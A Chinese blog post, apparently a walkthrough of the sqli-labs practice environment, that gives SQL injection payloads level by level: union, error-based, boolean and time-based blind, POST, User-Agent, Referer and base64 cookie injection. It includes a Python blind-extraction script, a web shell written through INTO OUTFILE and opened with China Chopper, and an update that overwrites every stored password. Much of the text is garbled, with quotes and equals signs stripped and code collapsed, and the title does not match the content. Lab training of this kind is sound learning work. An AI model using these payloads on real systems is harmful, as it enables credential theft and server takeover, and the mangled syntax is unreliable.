欢迎来到飞鸟慕鱼博客,开始您的技术之旅!
当前位置: 首页知识笔记正文

vs教程编程实例详解,乌班系统安装教程详解

终极管理员 知识笔记 72阅读

目录

Less-1 联合注入

Less-2

Less-3

Less-4

Less-5 报错注入/布尔盲注/时间盲注

Less-6 报错注入/布尔盲注/时间盲注

Less-7 文件导出

Less-8 布尔盲注/时间盲注

Less-9 时间盲注

Less-10 时间盲注

Less-11 post注入

Less-12 post注入

Less-13 post盲注

Less-14 post盲注

Less-15 时间盲注

Less-16 时间盲注

Less-17 修改密码

Less-18 user-agent头注入

Less-19 referer头注入

Less-20 cookie头注入

Less-21 cookie头注入base64

Less-22 cookie头注入base64


Less-1 联合注入

当输入?id1时显示对应的Login name与Password

①推测闭合方式

输入\后面是应该是单引号闭合

?id1报错

?id1 --不报错

说明确实是单引号闭合

②手工查询有多少栏目

?id1 order by 2--

发现3的时候可以4的时候不可以说明有3列

③显示报错位

?id-1 union select 1,2,3 --

当union前面的语句为false才会执行后面语句

发现哪些位置是可以显示的

④爆库名

?id-1 union select 1,database(),3 --

security

⑤爆表名

?id-1 union select 1,table_name,3 from information_schema.tables where table_schemasecurity limit 3,1 --

0,1是从第0个开始取每次取一个

尝试0,1 1,1 2,1 3,1 发现到4,1不行

或者

?id-1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schemasecurity --

一次性爆出表名emails,referers,uagents,users

⑥爆列名

?id-1 union select 1,group_concat(column_name),3 from information_schema.columns where table_schemasecurity and table_nameusers --

爆出列名id,username,password

⑦爆数据

?id-1 union select 1,group_concat(username),group_concat(password) from users --

或者?id-1 union select 1,group_concat(username,password),3 from users --

或者为了格式好看

?id-1 union select 1,group_concat(username,0x3a,password,0x3C,0x68,0x72,0x2F,0x3E),3 from users --

补充Ascii码的一些转换ASCII_百度百科

Less-2

同Less-1没有闭合方式

Less-3

同Less-1)闭合

Less-4

同Less-1)闭合

Less-5 报错注入/布尔盲注/时间盲注

这里讲报错注入的方法报错注入见Less-5布尔盲注见Less-6时间盲注见Less-8

发现它并没有显示位

①判断闭合方式

?id1\

发现是闭合

②判断注入点

?id1 and 11 --

发现页面无回显

查询语句正确时页面会打印You are in...........错误则不显示

③爆库名

?id1 and updatexml(1,concat(0x7e,(database()),0x7e),1) --

库名security

②爆表名

?id1 and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schemasecurity limit 3,1),0x7e),1) --

?id1 and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schemasecurity),0x7e),1) --

表名emails,referers,uagents,users

③爆列名

?id1 and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schemasecurity and table_nameusers),0x7e),1) --

列名id,username,password

④爆数据

?id1 and updatexml(1,concat(0x7e,(select group_concat(username,password)from users),0x7e),1) --

Less-6 报错注入/布尔盲注/时间盲注

布尔型注入:

这个地方进行了数据库查询但是没有显示位报错不会出现信息

错误和正确页面有区别

这里讲布尔盲注的方法报错注入见Less-5布尔盲注见Less-6时间盲注见Less-8

无回显的

①判断闭合方式

?id1\

发现是闭合

?id1 --成功

②判断数据库长度

?id1 and length(database())

所以库名长度8

②判断数据库名中字母

select substr(database(),1,1);

截取数据库库名从第1个字开始截取每次截取1个

select ascii(substr(database(),1,1));

截取出来的字使用ascii码编码

select ascii(substr(database(),1,1)) < 100;

所以

?id1 and ascii(substr(database(),1,1))>114 --

?id1 and (select ascii(substr(database(),1,1))) >114 --也行

所以ascii码为115第一位字母为s

用脚本跑

import requests as requrl    select  select database()for i in range(1, 100):    for ascii in range(32, 128):        id  1 and ascii(substr(({}),{},1)){}#.format(select, i, ascii)        r  req.get(urlid)        print(urlid)        if You are in in r.text:            res  chr(ascii)            print(res)            break        if ascii  127:            print({}.format(res))            exit(0)

得到库名security

③走流程

只要修改脚本中的select语句即可

select group_concat(table_name) from information_schema.tables where table_schemasecurity

select group_concat(column_name) from information_schema.columns where table_schemasecurity

select group_concat(username,password)from users

Less-7 文件导出

文件导出的方式进行注入

①判断闭合

手工测试?id1)) and 11--成功

所以是))闭合

②猜列数

?id1)) order by 3-- 列数为3

③导入一句话木马

?id-1)) union select 1,2, into outfile C:\ruanjian\phpstudy_pro\WWW\sqli-labs-master\Less-7\test.php --

虽然提示报错但是我们发现已经存在文件test.php了

④连菜刀

中国菜刀进行连接输入我们写的文件路径密码是wlw

成功进入

Less-8 布尔盲注/时间盲注

闭合

这里讲时间盲注报错注入见Less-5布尔盲注见Less-6时间盲注见Less-8

①判断是否有延时

id1 and sleep(5) --

发现确实有延时可以用时间盲注

② 爆库长

?id1 and if(length(database())8,sleep(5),null)--

③爆库名

从左边第一个字母开始判断库名第一个字母是不是s

?id1 and if(left(database(),1)s,sleep(5),null)--

?id1 and if(left(database(),2)se,sleep(5),null)--

......

security

或者 ?id1 and if((select (substr(database(),1,1))s) ,sleep(5), null)--

③爆表名

?id1 and if(left((select table_name from information_schema.tables where table_schemadatabase() limit 0,1),1)e ,sleep(5),null)--

?id1 and if(left((select table_name from information_schema.tables where table_schemadatabase() limit 0,1),2)em ,sleep(5),null)--

?id1 and if(left((select table_name from information_schema.tables where table_schemadatabase() limit 0,1),3)ema ,sleep(5),null)--

......

database() 如果不想写可以写security的hex值

表名emails

或者

id1 and if((select substr(table_name,1,1) from information_schema.tables where table_schemadatabase() limit 0,1)e,sleep(5),null) --

④爆列名

?id1 and if(left((select column_name from information_schema.columns where table_nameusers limit *,1),*)password ,sleep(5),null)--

其中*需要逐个尝试

......

Less-9 时间盲注

闭合

见Less-8

经过多次尝试返回值均为You are in …

没有显示位错误也不会告诉你

所以只能时间盲注

Less-10 时间盲注

同Less-9闭合

Less-11 post注入

前十关使用的是get请求参数都体现在url上面

而从十一关开始是post请求参数是在表单里面

我们可以直接在输入框进行注入或者bp抓包

①BP抓包send to repater

②判断闭合方式

admin报错admin #不报错所以是’闭合

③判断回显位置

union select 1,2 #

④爆库名

 union select 1,database() #

⑤爆表名

union select 1,group_concat(table_name) from information_schema.tables where table_schemadatabase() #

表名emails,referers,uagents,users

⑤爆列名

union select 1,group_concat(column_name) from information_schema.columns where table_schemasecurity and table_nameusers #

列名id,username,password

⑥爆数据

union select 1,group_concat(username,password) from users #

Less-12 post注入

)闭合 有回显

同Less-11

Less-13 post盲注

)闭合 无回显

①猜闭合方式

admin

报错near 111) LIMIT 0,1 at line 1

说明是)闭合

输入) # 或) or 11 #

却发现页面没有回显考虑使用报错注入、布尔盲注或者时间盲注

这里讲报错盲注布尔盲注不知道为什么不行...时间盲注见Less-15

sqli-labs第十三和十四关(post请求-报错盲注)_sql注入第13关_mmmmcq的博客-博客

③爆字段数

1) order by 3#报错

1) order by 2#无回显

所以字段数为2

④爆库名

1) union select 1,updatexml(1,concat(0x7e,database(),0x7e),1) #

库名security

⑤爆表名

1) union select 1,updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema security),0x7e),1)#

表名emails,referers,uagents,users

⑥爆列名

1) union select 1,updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema security and table_nameusers),0x7e),1)#

列名id,username,password

⑦爆数据

1) union select 1,updatexml(1,concat(0x7e,(select group_concat(username,password) from users),0x7e),1)#

Less-14 post盲注

同Less-13

admin报错admin#无回显

所以是闭合

布尔盲注好像不能用

可以用时间盲注见Less-15

Less-15 时间盲注

闭合

①测试

用admin、admin 、admin and 12# 进行测试发现都不返回错误信息

②判断是否有延时

admin and sleep(5) #

发现确实有延时可以用时间盲注

③爆库长

admin and if(length(database())8,sleep(5),null) #

④爆库名

从左边第一个字母开始判断库名第一个字母是不是s

admin and if(left(database(),1)s,sleep(5),null) #

admin and if(left(database(),2)se,sleep(5),null) #

......

security

或者admin and if(ascii(substr(database(),0,1))115,1,sleep(5))#

或者admin and if((select (substr(database(),1,1))s) ,sleep(5), null)#

⑤爆表名

admin and if(left((select table_name from information_schema.tables where table_schemadatabase() limit 0,1),1)e ,sleep(5),null)#

admin and if(left((select table_name from information_schema.tables where table_schemadatabase() limit 0,1),2)em ,sleep(5),null)#

admin and if(left((select table_name from information_schema.tables where table_schemadatabase() limit 0,1),3)ema ,sleep(5),null)#

......

Less-16 时间盲注

同Less-15)闭合

Less-17 修改密码

本题危害比较大

update users set password$p where username$u

update users set password or 11 # where usernameadmin

admin

 or 11 #

会把数据库所有密码都改为1

update users set password1

前十六道题都很简单没有什么过滤的方法直到这关开始有绕过

①爆库名

admin

1 and updatexml(1,concat(0x7e,database(),0x7e),1) #

库名security

②爆表名

1 and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema security),0x7e),1)#

表名emails,referers,uagents,users

③爆列名

1 and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema security and table_nameusers),0x7e),1)#

列名id,username,password

④爆数据

1 and updatexml(1,concat(0x7e,(select group_concat(username,password) from users),0x7e),1)#

Less-18 user-agent头注入

user-agent

insert into security.某个表(uagent,ipadd,username) values(浏览器信息,ip地址,用户名)

$insertinsert into security.uagents (uagent, ip_address, username) values ($uagent, $IP, $uname);

输入正确的用户名密码admin admin会返回代理信息user-agent

所以uagents的数据是会写入数据库再输出的这是我们得以成功注入的关键

用户名密码正确才能把头注入写入后台数据库所以前提是登录进去了

抓包修改请求包的User Agent

关键是闭合前后的语句

sqli-labs(18-23关)_sql18关_cyphersec的博客-博客

①判断闭合方式

在username和password处尝试注入均被转义无法注入

在user-agent后测试发现

报错

and 11正确

所以是闭合

②爆库名

and updatexml(1,concat(0x7e,(select database()),0x7e),1) and 11

 and extractvalue(1,concat(0x7e,(select database()),0x7e)) and 11

库名security

③爆表名

insert into security.某个表(uagent,ipadd,username) values( and extractvalue(1,concat(0x7e,(select database()),0x7e)) and 11,ip地址,用户名)

and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema database()),0x7e),1) and 11

and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schemadatabase()),0x7e)) and

表名emails,referers,uagents,users

④爆列名

and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_nameusers and table_schemadatabase()),0x7e)) and

列名id,username,password

⑤爆数据

and updatexml(1,concat(0x7e,(select group_concat(username,password) from users),0x7e),1) and 11

Less-19 referer头注入

来路流量你是从哪个地方来的

输入正确的用户名密码admin admin会返回referer

走流程

and extractvalue(1,concat(0x7e,(select database()))) and 11

and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schemadatabase()),0x7e)) and

and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_nameusers and table_schemadatabase()),0x7e)) and

and extractvalue(1,concat(0x7e,(select group_concat(username,password)from users),0x7e)) and

Less-20 cookie头注入

输入正确的用户名密码admin admin会返回cookie

①判断闭合方式

admin报错

admin and 11正确

为闭合

②爆库名

and updatexml(1,concat(0x7e,(select database()),0x7e),1) and 11

 and extractvalue(1,concat(0x7e,(select database()),0x7e)) # 也可以

走流程

and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schemadatabase()),0x7e),1) #

and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schemadatabase() and table_nameusers),0x7e),1) #

and updatexml(1,concat(0x7e,(select group_concat(username,password) from users),0x7e),1) #

Less-21 cookie头注入base64

还是cookie头注入

但是抓包都发现cookie后的内容被进行base64编码了

因此输入攻击语句之后转化为base64encode即可

走流程

①爆库名

admin and updatexml(1,concat(0x7e,(select database()),0x7e),1) and 11

编码后

YWRtaW4nIGFuZCB1cGRhdGV4bWwoMSxjb25jYXQoMHg3ZSwoc2VsZWN0IGRhdGFiYXNlKCkpLDB4N2UpLDEpIGFuZCAnMSc9JzE

admin and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schemadatabase()),0x7e),1) and 11

admin and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schemadatabase() and table_nameusers),0x7e),1) and 11

admin and updatexml(1,concat(0x7e,(select group_concat(username,password) from users),0x7e),1) and 11

Less-22 cookie头注入base64

同Less-21闭合

标签:
声明:无特别说明,转载请标明本文来源!